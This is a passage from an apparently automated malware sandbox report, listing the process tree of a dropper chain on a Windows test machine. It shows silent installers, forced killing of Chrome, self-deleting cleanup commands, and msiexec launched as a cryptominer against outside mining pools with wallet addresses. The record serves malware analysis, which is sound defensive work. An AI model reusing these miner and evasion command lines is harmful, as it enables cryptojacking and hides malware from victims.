        PID:11632
        
        C:\Users\Admin\AppData\Local\Temp\idtxnplm.qcm\toolspab1.exe
        
        C:\Users\Admin\AppData\Local\Temp\idtxnplm.qcm\toolspab1.exe
        17⤵
        
        PID:12000
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\itzaql0l.hpu\GcleanerWW.exe /mixone & exit
        15⤵
        
        PID:11332
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\lb5o5zil.t3c\setup_10.2_mix.exe & exit
        15⤵
        
        PID:5628
        
        C:\Users\Admin\AppData\Local\Temp\lb5o5zil.t3c\setup_10.2_mix.exe
        
        C:\Users\Admin\AppData\Local\Temp\lb5o5zil.t3c\setup_10.2_mix.exe
        16⤵
        
        PID:3584
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\fw3pkftj.qgq\file.exe & exit
        15⤵
        
        PID:4192
        
        C:\Users\Admin\AppData\Local\Temp\fw3pkftj.qgq\file.exe
        
        C:\Users\Admin\AppData\Local\Temp\fw3pkftj.qgq\file.exe
        16⤵
        
        PID:9376
        
        C:\Users\Admin\AppData\Local\Temp\RarSFX3\Setup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\RarSFX3\Setup.exe"
        17⤵
        
        PID:4196
        
        C:\Users\Admin\AppData\Local\Temp\I10XNN77GF\multitimer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\I10XNN77GF\multitimer.exe" 0 3060197d33d91c80.94013368 0 101
        18⤵
        
        PID:6104
        
        C:\Users\Admin\AppData\Local\Temp\I10XNN77GF\multitimer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\I10XNN77GF\multitimer.exe" 1 3.1617448261.60684d45cd9fc 101
        19⤵
        
        PID:8160
        
        C:\Users\Admin\AppData\Local\Temp\I10XNN77GF\multitimer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\I10XNN77GF\multitimer.exe" 2 3.1617448261.60684d45cd9fc
        20⤵
        
        PID:3564
        
        C:\Users\Admin\AppData\Local\Temp\3uj2eky5ail\14i32gzdjxc.exe
        
        "C:\Users\Admin\AppData\Local\Temp\3uj2eky5ail\14i32gzdjxc.exe" /ustwo INSTALL
        21⤵
        
        PID:11184
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c taskkill /im "14i32gzdjxc.exe" /f & erase "C:\Users\Admin\AppData\Local\Temp\3uj2eky5ail\14i32gzdjxc.exe" & exit
        22⤵
        
        PID:11508
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /im "14i32gzdjxc.exe" /f
        23⤵
        Kills process with taskkill
        
        PID:12156
        
        C:\Users\Admin\AppData\Local\Temp\1jhbja3esyl\vict.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1jhbja3esyl\vict.exe" /VERYSILENT /id=535
        21⤵
        
        PID:5180
        
        C:\Users\Admin\AppData\Local\Temp\is-MQ1MF.tmp\vict.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-MQ1MF.tmp\vict.tmp" /SL5="$60606,870426,780800,C:\Users\Admin\AppData\Local\Temp\1jhbja3esyl\vict.exe" /VERYSILENT /id=535
        22⤵
        
        PID:9524
        
        C:\Users\Admin\AppData\Local\Temp\is-HCP4E.tmp\win1host.exe
        
        "C:\Users\Admin\AppData\Local\Temp\is-HCP4E.tmp\win1host.exe" 535
        23⤵
        
        PID:10928
        
        C:\Users\Admin\AppData\Local\Temp\us01wvak1r3\cpyrix.exe
        
        "C:\Users\Admin\AppData\Local\Temp\us01wvak1r3\cpyrix.exe" /VERYSILENT
        21⤵
        
        PID:11748
        
        C:\Users\Admin\AppData\Roaming\1.exe
        
        C:\Users\Admin\AppData\Roaming\1.exe
        22⤵
        
        PID:3248
        
        C:\Windows\SysWOW64\at.exe
        
        "C:\Windows\System32\at.exe"
        23⤵
        
        PID:11596
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c C:\Windows\System32\cmd.exe < Tre.pub
        23⤵
        
        PID:12200
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\System32\cmd.exe
        24⤵
        
        PID:9640
        
        C:\Users\Admin\AppData\Roaming\2.exe
        
        C:\Users\Admin\AppData\Roaming\2.exe
        22⤵
        
        PID:4176
        
        C:\Users\Admin\AppData\Roaming\2.exe
        
        "{path}"
        23⤵
        
        PID:10144
        
        C:\Users\Admin\AppData\Local\Temp\dkuivjbgxoz\app.exe
        
        "C:\Users\Admin\AppData\Local\Temp\dkuivjbgxoz\app.exe" /8-23
        21⤵
        
        PID:5068
        
        C:\Users\Admin\AppData\Local\Temp\dkuivjbgxoz\app.exe
        
        "C:\Users\Admin\AppData\Local\Temp\dkuivjbgxoz\app.exe" /8-23
        22⤵
        
        PID:5152
        
        C:\Users\Admin\AppData\Local\Temp\1cwngagn2xy\Setup3310.exe
        
        "C:\Users\Admin\AppData\Local\Temp\1cwngagn2xy\Setup3310.exe" /Verysilent /subid=577
        21⤵
        
        PID:4436
        
        C:\Users\Admin\AppData\Local\Temp\is-5QMHI.tmp\Setup3310.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-5QMHI.tmp\Setup3310.tmp" /SL5="$1004A2,138429,56832,C:\Users\Admin\AppData\Local\Temp\1cwngagn2xy\Setup3310.exe" /Verysilent /subid=577
        22⤵
        
        PID:10904
        
        C:\Users\Admin\AppData\Local\Temp\is-3GN97.tmp\Setup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\is-3GN97.tmp\Setup.exe" /Verysilent
        23⤵
        
        PID:2912
        
        C:\Users\Admin\AppData\Local\Temp\UVVLRQC4QJ\setups.exe
        
        "C:\Users\Admin\AppData\Local\Temp\UVVLRQC4QJ\setups.exe" ll
        18⤵
        
        PID:7456
        
        C:\Users\Admin\AppData\Local\Temp\is-ST23O.tmp\setups.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-ST23O.tmp\setups.tmp" /SL5="$404BA,635399,250368,C:\Users\Admin\AppData\Local\Temp\UVVLRQC4QJ\setups.exe" ll
        19⤵
        
        PID:7316
        
        C:\Users\Admin\AppData\Local\Temp\RarSFX3\askinstall20.exe
        
        "C:\Users\Admin\AppData\Local\Temp\RarSFX3\askinstall20.exe"
        17⤵
        
        PID:2160
        
        C:\Windows\SysWOW64\cmd.exe
        
        cmd.exe /c taskkill /f /im chrome.exe
        18⤵
        
        PID:616
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /f /im chrome.exe
        19⤵
        Kills process with taskkill
        
        PID:12076
        
        C:\Users\Admin\AppData\Local\Temp\RarSFX3\Full Program Features.exe
        
        "C:\Users\Admin\AppData\Local\Temp\RarSFX3\Full Program Features.exe"
        17⤵
        
        PID:11692
        
        C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Program Files\unins.vbs"
        18⤵
        
        PID:8164
        
        C:\Windows\SysWOW64\rundll32.exe
        
        "C:\Windows\System32\rundll32.exe" "C:\Program Files\unins0000.dll",install
        19⤵
        
        PID:8120
        
        C:\Users\Admin\AppData\Local\Temp\RarSFX3\file.exe
        
        "C:\Users\Admin\AppData\Local\Temp\RarSFX3\file.exe"
        17⤵
        
        PID:3416
        
        C:\Users\Admin\AppData\Roaming\FCEB.tmp.exe
        
        "C:\Users\Admin\AppData\Roaming\FCEB.tmp.exe"
        18⤵
        
        PID:10496
        
        C:\Users\Admin\AppData\Roaming\FCEB.tmp.exe
        
        "C:\Users\Admin\AppData\Roaming\FCEB.tmp.exe"
        19⤵
        
        PID:10608
        
        C:\Users\Admin\AppData\Roaming\142D.tmp.exe
        
        "C:\Users\Admin\AppData\Roaming\142D.tmp.exe"
        18⤵
        
        PID:3680
        
        C:\Windows\system32\msiexec.exe
        
        -P stratum1+ssl://0xb7633a80145Ec9ce2b8b5F80AB36C783064C2E10.work@eu-eth.hiveon.net:24443 -R --response-timeout 30 --farm-retries 99999
        19⤵
        
        PID:1104
        
        C:\Windows\system32\msiexec.exe
        
        -o pool.supportxmr.com:8080 -u 47wDrszce6VbnMB4zhhEA1Gr3EzwHx2eS6QzC5sFoq8iGdMjnzX8bnEjBdQHsAuW8C1SNgxyGa4DQTVnQ9jfhRod73np5P8 --cpu-max-threads-hint 50 -r 9999
        19⤵
        
        PID:512
        
        C:\Users\Admin\AppData\Roaming\195F.tmp.exe
        
        "C:\Users\Admin\AppData\Roaming\195F.tmp.exe"
        18⤵
        
        PID:10688
        
        C:\Windows\SysWOW64\cmd.exe
        
        /c timeout /t 3 & del /f /q C:\Users\Admin\AppData\Roaming\195F.tmp.exe
        19⤵
        
        PID:12612
        
        C:\Windows\SysWOW64\timeout.exe
        
        timeout /t 3
        20⤵
        Delays execution with timeout.exe
        
        PID:13156
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c ping 127.0.0.1 && del "C:\Users\Admin\AppData\Local\Temp\RarSFX3\file.exe"
        18⤵
        
        PID:10820
        
        C:\Windows\SysWOW64\PING.EXE
        
        ping 127.0.0.1
        19⤵
        Runs ping.exe
        
        PID:11284
        
        C:\Users\Admin\AppData\Local\Temp\RarSFX3\md2_2efs.exe
        
        "C:\Users\Admin\AppData\Local\Temp\RarSFX3\md2_2efs.exe"
        17⤵
        
        PID:10172
        
        C:\Users\Admin\AppData\Local\Temp\RarSFX3\BTRSetp.exe
        
        "C:\Users\Admin\AppData\Local\Temp\RarSFX3\BTRSetp.exe"
        17⤵
        
        PID:9520
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\rxgrzlmb.zhk\f7c5e026.exe & exit
        15⤵
        
        PID:5164
        
        C:\Users\Admin\AppData\Local\Temp\rxgrzlmb.zhk\f7c5e026.exe
        
        C:\Users\Admin\AppData\Local\Temp\rxgrzlmb.zhk\f7c5e026.exe
        16⤵
        
        PID:5080
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\l5jqb0ir.uba\app.exe /8-2222 & exit
        15⤵
        
        PID:6052
        
        C:\Users\Admin\AppData\Local\Temp\l5jqb0ir.uba\app.exe
        
        C:\Users\Admin\AppData\Local\Temp\l5jqb0ir.uba\app.exe /8-2222
        16⤵
        
        PID:5944
        
        C:\Users\Admin\AppData\Local\Temp\l5jqb0ir.uba\app.exe
        
        "C:\Users\Admin\AppData\Local\Temp\l5jqb0ir.uba\app.exe" /8-2222
        17⤵
        
        PID:12864
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\yv2bkeym.4ui\Four.exe & exit
        15⤵
        
        PID:12028
        
        C:\Users\Admin\AppData\Local\Temp\yv2bkeym.4ui\Four.exe
        
        C:\Users\Admin\AppData\Local\Temp\yv2bkeym.4ui\Four.exe
        16⤵
        
        PID:6196
        
        C:\Users\Admin\AppData\Local\Temp\I96YMZEG6X\multitimer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\I96YMZEG6X\multitimer.exe" 0 306033e7ac94ccd3.87625057 0 104
        17⤵
        
        PID:6900
        
        C:\Users\Admin\AppData\Local\Temp\I96YMZEG6X\multitimer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\I96YMZEG6X\multitimer.exe" 1 3.1617448328.60684d88d5f65 104
        18⤵
        
        PID:8592
        
        C:\Users\Admin\AppData\Local\Temp\I96YMZEG6X\multitimer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\I96YMZEG6X\multitimer.exe" 2 3.1617448328.60684d88d5f65
        19⤵
        
        PID:8744
        
        C:\Users\Admin\AppData\Local\Temp\irjmfjfm3uw\cpyrix.exe
        
        "C:\Users\Admin\AppData\Local\Temp\irjmfjfm3uw\cpyrix.exe" /VERYSILENT
        20⤵
        
        PID:7944
        
        C:\Users\Admin\AppData\Roaming\1.exe
        
        C:\Users\Admin\AppData\Roaming\1.exe
        21⤵
        
        PID:6136
        
        C:\Windows\SysWOW64\at.exe
        
        "C:\Windows\System32\at.exe"
        22⤵
        
        PID:8872
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c C:\Windows\System32\cmd.exe < Tre.pub
        22⤵
        
        PID:12960
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\System32\cmd.exe
        23⤵
        
        PID:6748
        
        C:\Users\Admin\AppData\Roaming\2.exe
        
        C:\Users\Admin\AppData\Roaming\2.exe
        21⤵
        
        PID:13300
        
        C:\Users\Admin\AppData\Roaming\2.exe
        
        "{path}"
        22⤵
        
        PID:10084
        
        C:\Users\Admin\AppData\Local\Temp\ljeq1nr00jt\ixkc5sjpuon.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ljeq1nr00jt\ixkc5sjpuon.exe" /ustwo INSTALL
        20⤵
        
        PID:9284
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c taskkill /im "ixkc5sjpuon.exe" /f & erase "C:\Users\Admin\AppData\Local\Temp\ljeq1nr00jt\ixkc5sjpuon.exe" & exit
        21⤵
        
        PID:8660
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /im "ixkc5sjpuon.exe" /f
        22⤵
        Kills process with taskkill
        
        PID:12296
        
        C:\Users\Admin\AppData\Local\Temp\mjl0slszk1d\vict.exe
        
        "C:\Users\Admin\AppData\Local\Temp\mjl0slszk1d\vict.exe" /VERYSILENT /id=535
        20⤵
        
        PID:5808
        
        C:\Users\Admin\AppData\Local\Temp\is-HJR98.tmp\vict.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-HJR98.tmp\vict.tmp" /SL5="$8048C,870426,780800,C:\Users\Admin\AppData\Local\Temp\mjl0slszk1d\vict.exe" /VERYSILENT /id=535
        21⤵
        
        PID:12436
        
        C:\Users\Admin\AppData\Local\Temp\is-VHGLB.tmp\win1host.exe
        
        "C:\Users\Admin\AppData\Local\Temp\is-VHGLB.tmp\win1host.exe" 535
        22⤵
        
        PID:10352
        
        C:\Users\Admin\AppData\Local\Temp\khhmrmlwb2j\Setup3310.exe
        
        "C:\Users\Admin\AppData\Local\Temp\khhmrmlwb2j\Setup3310.exe" /Verysilent /subid=577
        20⤵
        
        PID:13304
        
        C:\Users\Admin\AppData\Local\Temp\is-EUBHO.tmp\Setup3310.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-EUBHO.tmp\Setup3310.tmp" /SL5="$9060A,138429,56832,C:\Users\Admin\AppData\Local\Temp\khhmrmlwb2j\Setup3310.exe" /Verysilent /subid=577
        21⤵
        
        PID:12524
        
        C:\Users\Admin\AppData\Local\Temp\is-H88QH.tmp\Setup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\is-H88QH.tmp\Setup.exe" /Verysilent
        22⤵
        
        PID:8672
        
        C:\Users\Admin\AppData\Local\Temp\pwdpy11y2so\app.exe
        
        "C:\Users\Admin\AppData\Local\Temp\pwdpy11y2so\app.exe" /8-23
        20⤵
        
        PID:3696
        
        C:\Users\Admin\AppData\Local\Temp\744RE847X2\setups.exe
        
        "C:\Users\Admin\AppData\Local\Temp\744RE847X2\setups.exe" ll
        17⤵
        
        PID:12580
        
        C:\Users\Admin\AppData\Local\Temp\is-S88UK.tmp\setups.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-S88UK.tmp\setups.tmp" /SL5="$30636,635399,250368,C:\Users\Admin\AppData\Local\Temp\744RE847X2\setups.exe" ll
        18⤵
        
        PID:6924
        
        C:\Program Files (x86)\67e16a30-3df6-4d4c-a838-a81a8806dda3\Versium Research\lylal220.exe
        
        "C:\Program Files (x86)\67e16a30-3df6-4d4c-a838-a81a8806dda3\Versium Research\lylal220.exe"
        11⤵
        
        PID:4968
        
        C:\Users\Admin\AppData\Local\Temp\is-11AB2.tmp\lylal220.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-11AB2.tmp\lylal220.tmp" /SL5="$20376,491750,408064,C:\Program Files (x86)\67e16a30-3df6-4d4c-a838-a81a8806dda3\Versium Research\lylal220.exe"
        12⤵
        
        PID:6132
        
        C:\Users\Admin\AppData\Local\Temp\is-OOF99.tmp\Microsoft.exe
        
        "C:\Users\Admin\AppData\Local\Temp\is-OOF99.tmp\Microsoft.exe" /S /UID=lylal220
        13⤵
        
        PID:5424
        
        C:\Program Files\Windows Sidebar\USEYBVBHQY\irecord.exe
        
        "C:\Program Files\Windows Sidebar\USEYBVBHQY\irecord.exe" /VERYSILENT
        14⤵
        
        PID:3508
        
        C:\Users\Admin\AppData\Local\Temp\is-BQ773.tmp\irecord.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-BQ773.tmp\irecord.tmp" /SL5="$5040C,6265333,408064,C:\Program Files\Windows Sidebar\USEYBVBHQY\irecord.exe" /VERYSILENT
        15⤵
        
        PID:6492
        
        C:\Users\Admin\AppData\Local\Temp\28-48731-ed8-8b2bf-64a2bb2a77dcb\Gofazhisihi.exe
        
        "C:\Users\Admin\AppData\Local\Temp\28-48731-ed8-8b2bf-64a2bb2a77dcb\Gofazhisihi.exe"
        14⤵
        
        PID:6424
        
        C:\Windows\Microsoft.NET\Framework64\v2.0.50727\dw20.exe
        
        dw20.exe -x -s 2124
        15⤵
        
        PID:8616
        
        C:\Users\Admin\AppData\Local\Temp\f7-a4336-9fe-197b3-bc725a633aafc\Wyshevemale.exe
        
        "C:\Users\Admin\AppData\Local\Temp\f7-a4336-9fe-197b3-bc725a633aafc\Wyshevemale.exe"
        14⤵
        
        PID:5248
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\vvgyrvck.a3d\md6_6ydj.exe & exit
        15⤵
        
        PID:6736
        
        C:\Users\Admin\AppData\Local\Temp\vvgyrvck.a3d\md6_6ydj.exe
        
        C:\Users\Admin\AppData\Local\Temp\vvgyrvck.a3d\md6_6ydj.exe
        16⤵
        Executes dropped EXE
        
        PID:4216
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\g1rmw3th.1fi\Vidboxtest.exe & exit
        15⤵
        
        PID:8028
        
        C:\Users\Admin\AppData\Local\Temp\g1rmw3th.1fi\Vidboxtest.exe
        
        C:\Users\Admin\AppData\Local\Temp\g1rmw3th.1fi\Vidboxtest.exe
        16⤵
        
        PID:8792
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c taskkill /im Vidboxtest.exe /f & timeout /t 6 & del /f /q "C:\Users\Admin\AppData\Local\Temp\g1rmw3th.1fi\Vidboxtest.exe" & del C:\ProgramData\*.dll & exit
        17⤵
        
        PID:4060
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /im Vidboxtest.exe /f
        18⤵
        Kills process with taskkill
        
        PID:5472
        
        C:\Windows\SysWOW64\timeout.exe
        
        timeout /t 6
        18⤵
        Delays execution with timeout.exe
        
        PID:6200
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\3oh2hwyi.knx\askinstall31.exe & exit
        15⤵
        
        PID:8336
        
        C:\Users\Admin\AppData\Local\Temp\3oh2hwyi.knx\askinstall31.exe
        
        C:\Users\Admin\AppData\Local\Temp\3oh2hwyi.knx\askinstall31.exe
        16⤵
        
        PID:9180
        
        C:\Windows\SysWOW64\cmd.exe
        
        cmd.exe /c taskkill /f /im chrome.exe
        17⤵
        
        PID:12132
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /f /im chrome.exe
        18⤵
        Kills process with taskkill
        
        PID:7116
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\endlyprr.nkh\toolspab1.exe & exit
        15⤵
        
        PID:9120
        
        C:\Users\Admin\AppData\Local\Temp\endlyprr.nkh\toolspab1.exe
        
        C:\Users\Admin\AppData\Local\Temp\endlyprr.nkh\toolspab1.exe
        16⤵
        
        PID:9556
        
        C:\Users\Admin\AppData\Local\Temp\endlyprr.nkh\toolspab1.exe
        
        C:\Users\Admin\AppData\Local\Temp\endlyprr.nkh\toolspab1.exe
        17⤵
        
        PID:9960
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\fte3jvy5.mhr\GcleanerWW.exe /mixone & exit
        15⤵
        
        PID:9740
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\23hgarmm.gmc\setup_10.2_mix.exe & exit
        15⤵
        
        PID:4984
        
        C:\Users\Admin\AppData\Local\Temp\23hgarmm.gmc\setup_10.2_mix.exe
        
        C:\Users\Admin\AppData\Local\Temp\23hgarmm.gmc\setup_10.2_mix.exe
        16⤵
        
        PID:7556
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\4nxvbwag.sm2\file.exe & exit
        15⤵
        
        PID:8612
        
        C:\Users\Admin\AppData\Local\Temp\4nxvbwag.sm2\file.exe
        
        C:\Users\Admin\AppData\Local\Temp\4nxvbwag.sm2\file.exe
        16⤵
        
        PID:7248
        
        C:\Users\Admin\AppData\Local\Temp\RarSFX4\Setup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\RarSFX4\Setup.exe"
        17⤵
        
        PID:12880
        
        C:\Users\Admin\AppData\Local\Temp\0E8TZVP57E\multitimer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\0E8TZVP57E\multitimer.exe" 0 3060197d33d91c80.94013368 0 101
        18⤵
        
        PID:7688
        
        C:\Users\Admin\AppData\Local\Temp\0E8TZVP57E\multitimer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\0E8TZVP57E\multitimer.exe" 1 3.1617448437.60684df562057 101
        19⤵
        
        PID:5628
        
        C:\Users\Admin\AppData\Local\Temp\0E8TZVP57E\multitimer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\0E8TZVP57E\multitimer.exe" 2 3.1617448437.60684df562057
        20⤵
        
        PID:9432
        
        C:\Users\Admin\AppData\Local\Temp\npoehsp5svc\cpyrix.exe
        
        "C:\Users\Admin\AppData\Local\Temp\npoehsp5svc\cpyrix.exe" /VERYSILENT
        21⤵
        
        PID:9408
        
        C:\Users\Admin\AppData\Roaming\1.exe
        
        C:\Users\Admin\AppData\Roaming\1.exe
        22⤵
        
        PID:12084
        
        C:\Windows\SysWOW64\at.exe
        
        "C:\Windows\System32\at.exe"
        23⤵
        
        PID:10524
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c C:\Windows\System32\cmd.exe < Tre.pub
        23⤵
        
        PID:8628
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\System32\cmd.exe
        24⤵
        
        PID:9888
        
        C:\Users\Admin\AppData\Roaming\2.exe
        
        C:\Users\Admin\AppData\Roaming\2.exe
        22⤵
        
        PID:10564
        
        C:\Users\Admin\AppData\Local\Temp\ezxjd3xvkmm\Setup3310.exe
        
        "C:\Users\Admin\AppData\Local\Temp\ezxjd3xvkmm\Setup3310.exe" /Verysilent /subid=577
        21⤵
        
        PID:10168
        
        C:\Users\Admin\AppData\Local\Temp\is-8VARD.tmp\Setup3310.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-8VARD.tmp\Setup3310.tmp" /SL5="$100482,138429,56832,C:\Users\Admin\AppData\Local\Temp\ezxjd3xvkmm\Setup3310.exe" /Verysilent /subid=577
        22⤵
        
        PID:9344
        
        C:\Users\Admin\AppData\Local\Temp\is-0ODHN.tmp\Setup.exe
        
        "C:\Users\Admin\AppData\Local\Temp\is-0ODHN.tmp\Setup.exe" /Verysilent
        23⤵
        
        PID:11448
        
        C:\Users\Admin\AppData\Local\Temp\hfihxot5bgy\b11amrjqmpz.exe
        
        "C:\Users\Admin\AppData\Local\Temp\hfihxot5bgy\b11amrjqmpz.exe" /ustwo INSTALL
        21⤵
        
        PID:7060
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c taskkill /im "b11amrjqmpz.exe" /f & erase "C:\Users\Admin\AppData\Local\Temp\hfihxot5bgy\b11amrjqmpz.exe" & exit
        22⤵
        
        PID:9580
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /im "b11amrjqmpz.exe" /f
        23⤵
        Kills process with taskkill
        
        PID:6592
        
        C:\Users\Admin\AppData\Local\Temp\odbikcyzo5p\app.exe
        
        "C:\Users\Admin\AppData\Local\Temp\odbikcyzo5p\app.exe" /8-23
        21⤵
        
        PID:12352
        
        C:\Users\Admin\AppData\Local\Temp\u54afhs41hw\vict.exe
        
        "C:\Users\Admin\AppData\Local\Temp\u54afhs41hw\vict.exe" /VERYSILENT /id=535
        21⤵
        
        PID:8780
        
        C:\Users\Admin\AppData\Local\Temp\is-AG71O.tmp\vict.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-AG71O.tmp\vict.tmp" /SL5="$C0512,870426,780800,C:\Users\Admin\AppData\Local\Temp\u54afhs41hw\vict.exe" /VERYSILENT /id=535
        22⤵
        
        PID:3136
        
        C:\Users\Admin\AppData\Local\Temp\is-2EP4S.tmp\win1host.exe
        
        "C:\Users\Admin\AppData\Local\Temp\is-2EP4S.tmp\win1host.exe" 535
        23⤵
        
        PID:12548
        
        C:\Users\Admin\AppData\Local\Temp\CLFXGS2HSM\setups.exe
        
        "C:\Users\Admin\AppData\Local\Temp\CLFXGS2HSM\setups.exe" ll
        18⤵
        
        PID:5192
        
        C:\Users\Admin\AppData\Local\Temp\is-MIR13.tmp\setups.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-MIR13.tmp\setups.tmp" /SL5="$20700,635399,250368,C:\Users\Admin\AppData\Local\Temp\CLFXGS2HSM\setups.exe" ll
        19⤵
        
        PID:7736
        
        C:\Users\Admin\AppData\Local\Temp\RarSFX4\askinstall20.exe
        
        "C:\Users\Admin\AppData\Local\Temp\RarSFX4\askinstall20.exe"
        17⤵
        
        PID:13260
        
        C:\Windows\SysWOW64\cmd.exe
        
        cmd.exe /c taskkill /f /im chrome.exe
        18⤵
        
        PID:7808
        
        C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /f /im chrome.exe
        19⤵
        Kills process with taskkill
        
        PID:11444
        
        C:\Users\Admin\AppData\Local\Temp\RarSFX4\Full Program Features.exe
        
        "C:\Users\Admin\AppData\Local\Temp\RarSFX4\Full Program Features.exe"
        17⤵
        
        PID:12180
        
        C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Program Files\unins.vbs"
        18⤵
        
        PID:9656
        
        C:\Windows\SysWOW64\rundll32.exe
        
        "C:\Windows\System32\rundll32.exe" "C:\Program Files\unins0000.dll",install
        19⤵
        
        PID:7460
        
        C:\Users\Admin\AppData\Local\Temp\RarSFX4\file.exe
        
        "C:\Users\Admin\AppData\Local\Temp\RarSFX4\file.exe"
        17⤵
        
        PID:12512
        
        C:\Users\Admin\AppData\Roaming\B6DB.tmp.exe
        
        "C:\Users\Admin\AppData\Roaming\B6DB.tmp.exe"
        18⤵
        
        PID:13132
        
        C:\Users\Admin\AppData\Roaming\B6DB.tmp.exe
        
        "C:\Users\Admin\AppData\Roaming\B6DB.tmp.exe"
        19⤵
        
        PID:4276
        
        C:\Users\Admin\AppData\Roaming\C0FE.tmp.exe
        
        "C:\Users\Admin\AppData\Roaming\C0FE.tmp.exe"
        18⤵
        
        PID:1980
        
        C:\Windows\system32\msiexec.exe
        
        -P stratum1+ssl://0xb7633a80145Ec9ce2b8b5F80AB36C783064C2E10.work@eu-eth.hiveon.net:24443 -R --response-timeout 30 --farm-retries 99999
        19⤵
        
        PID:8512
        
        C:\Windows\system32\msiexec.exe
        
        -o pool.supportxmr.com:8080 -u 47wDrszce6VbnMB4zhhEA1Gr3EzwHx2eS6QzC5sFoq8iGdMjnzX8bnEjBdQHsAuW8C1SNgxyGa4DQTVnQ9jfhRod73np5P8 --cpu-max-threads-hint 50 -r 9999
        19⤵
        
        PID:3764
        
        C:\Users\Admin\AppData\Roaming\C99A.tmp.exe
        
        "C:\Users\Admin\AppData\Roaming\C99A.tmp.exe"
        18⤵
        
        PID:8768
        
        C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c ping 127.0.0.1 && del "C:\Users\Admin\AppData\Local\Temp\RarSFX4\file.exe"
        18⤵
        
        PID:9496
        
        C:\Windows\SysWOW64\PING.EXE
        
        ping 127.0.0.1
        19⤵
        Runs ping.exe
        
        PID:12204
        
        C:\Users\Admin\AppData\Local\Temp\RarSFX4\md2_2efs.exe
        
        "C:\Users\Admin\AppData\Local\Temp\RarSFX4\md2_2efs.exe"
        17⤵
        
        PID:3388
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\nwuhpumu.mzw\f7c5e026.exe & exit
        15⤵
        
        PID:10064
        
        C:\Users\Admin\AppData\Local\Temp\nwuhpumu.mzw\f7c5e026.exe
        
        C:\Users\Admin\AppData\Local\Temp\nwuhpumu.mzw\f7c5e026.exe
        16⤵
        
        PID:12128
        
        C:\Windows\System32\cmd.exe
        
